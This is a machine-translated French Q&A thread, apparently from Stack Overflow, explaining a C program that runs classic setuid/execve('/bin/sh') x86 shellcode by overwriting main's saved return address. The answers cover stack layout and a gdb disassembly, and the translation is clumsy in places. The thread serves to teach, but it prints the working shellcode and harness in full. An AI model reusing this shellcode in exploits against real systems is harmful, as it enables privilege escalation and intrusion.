Question

AVERTISSEMENT: Ceci est un exploit. Ne pas exécuter ce code.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

Quelqu'un peut-il me donner une meilleure explication?

Était-ce utile?

La solution

Apparemment, cette tentative de code pour changer la pile de sorte que lorsque le rendement de la fonction main, l'exécution du programme ne retourne pas régulièrement dans la bibliothèque d'exécution (qui mettrait fin normalement le programme), mais sauterait à la place dans le code enregistré dans le shellcode matrice.

1) int *ret;

définit une variable sur la pile, juste au-dessous des arguments de la fonction main.

2) ret = (int *)&ret + 2;

permet le point de variable ret à un int * qui est placé au-dessus de deux ints ret sur la pile. Soi-disant que ce où l'adresse de retour est situé là où le programme se poursuivra lors du retour de main.

2) (*ret) = (int)shellcode;

L'adresse de retour est fixé à l'adresse du contenu du tableau de shellcode, de sorte que le contenu de cette shellcode seront exécutées lors du retour de main.


shellcode contient apparemment des instructions de la machine qui peut-être font un appel système de lancement /bin/sh. Je peux me tromper sur ce que je ne l'ai pas fait shellcode désassembler.


P.S:.. Ce code est dépendant du machine et compilateur et sera peut-être pas sur toutes les plates-formes


Répondre à votre deuxième question:

  

et ce qui arrive si je peux utiliser   ret = (int) et ret 2 et pourquoi nous avons ajouté de 2?   pourquoi ne pas 3 ou 4 ??? et je pense que int   est de 4 octets 2 sera donc pas 8 octets?

ret est déclaré comme un int*, en attribuant ainsi une int (comme (int)&ret) pour que ce serait une erreur. Quant à savoir pourquoi 2 est ajouté et non un autre numéro: apparemment parce que ce code suppose que l'adresse de retour se situera à cet endroit sur la pile. Considérez ce qui suit:

  • Ce code suppose que la pile d'appel se développe vers le bas lorsque quelque chose est poussé sur elle (comme il le fait en effet par exemple avec des processeurs Intel). Telle est la raison pour laquelle un certain nombre est ajouté et non Subtracted :. Les mensonges d'adresse de retour à une adresse mémoire plus élevée que les variables automatiques (locales) (tels que ret)

  • D'après ce que je me souviens de mes jours Intel assemblage, une fonction C est souvent appelé comme ceci: Tout d'abord, tous les arguments sont poussés sur la pile dans l'ordre inverse (de droite à gauche). Ensuite, la fonction est appelée. L'adresse de retour est ainsi poussé sur la pile. Ensuite, une nouvelle trame de pile est mis en place, qui comprend en poussant le registre de ebp sur la pile. Ensuite, les variables locales sont mises en place sur la pile sous tout ce qui a été poussé sur elle jusqu'à ce point.

Maintenant, je suppose que la mise en page de la pile suivante pour votre programme:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

A la partie inférieure se situe ret (qui est un nombre entier de 32 bits). Au-dessus est le registre ebp enregistré (qui est également 32 bits de large). Au-dessus de ce qui est l'adresse de retour de 32 bits. (Ci-dessus qui serait les arguments de main - argc et argv - mais ceux-ci ne sont pas importants ici.) Lorsque les exécute la fonction, le pointeur de la pile à ret. Se trouve l'adresse de retour de 64 bits « au-dessus » ret, qui correspond à la + 2 en

ret = (int*)&ret + 2; 

Il est + 2 car ret est un int*, et un int est de 32 bits, ajoutant ainsi 2 des moyens de réglage à un emplacement de mémoire 2 x 32 bits (= 64 bits) ci-dessus (int*)&ret ... qui seraient l'adresse de retour emplacement, si toutes les hypothèses du paragraphe précédent sont corrects.


Excursion: Permettez-moi de démontrer en langage assembleur Intel comment une fonction C peut être appelé (si je me souviens bien - je suis no gourou sur ce sujet donc je peux me tromper):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

A l'intérieur principal, ce qui suit peut se produire:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

Voir aussi: Description de la séquence d'appel de procédure en C pour une autre explication de ce sujet.

Autres conseils

Le shellcode réelle est:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Ceci correspond à environ

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

Cette chaîne est d'un ancien document sur les dépassements de tampon et exécutera / bin / sh. Depuis son code malveillant (bien, quand il est associé avec un tampon exploit) - vous devriez vraiment inclure son origine la prochaine fois.

A partir de ce même document, comment la pile de code exploits basés :

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Le code inclus provoque le contenu du shellcode [] à exécuter, en cours d'exécution exec , et l'accès à la coquille. Et le terme shellcode? De Wikipedia :

  

En sécurité informatique, un shellcode est   petit morceau de code utilisé en tant que   charge utile dans l'exploitation d'un   la vulnérabilité du logiciel. On l'appelle   « Shellcode » parce qu'il généralement   démarre un interpréteur de commandes à partir duquel le   attaquant peut contrôler le compromis   machine. Shellcode est généralement écrit   en code machine, mais tout morceau de code   qui effectue une tâche similaire peut être   appelé shellcode.

Sans lever tous les opcodes réels pour confirmer, le tableau de shellcode contient le code de la machine nécessaire pour exec /bin/sh. Cette shellcode est un code machine construite avec soin d'effectuer l'opération souhaitée sur une plate-forme cible spécifique et ne contiennent pas des octets de null.

Le code main() change l'adresse de retour et le flux d'exécution afin d'amener le programme à engendrer une coque en ayant les instructions dans le réseau de shellcode exécuté.

Voir Smashing Stack pour le plaisir et profit pour description de la façon shellcode comme celle-ci peut être créé et comment il pourrait être utilisé.

La chaîne contient une série d'octets représentés en hexadécimal.

Les octets encode une série d'instructions pour un processeur particulier sur une plate-forme particulière - si tout va bien, le vôtre. (Edit: si c'est des logiciels malveillants, je l'espère pas le vôtre)

La variable est définie juste pour obtenir une poignée à la pile. Un signet, si vous voulez. Ensuite, l'arithmétique de pointeur est utilisé, encore une fois en fonction de la plate-forme, pour manipuler l'état du programme pour amener le processeur à sauter et exécuter les octets dans la chaîne.

Chaque \ xxx est un nombre hexadécimal. Un, deux ou trois de ces numéros forment ensemble un op-code (google pour elle). Ensemble, il forme l'assemblage qui peut être exécuté par la machine plus ou moins directement. Et ce code tente d'exécuter le shellcode.

Je pense que les essais de shellcode pour frayer une coquille.

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top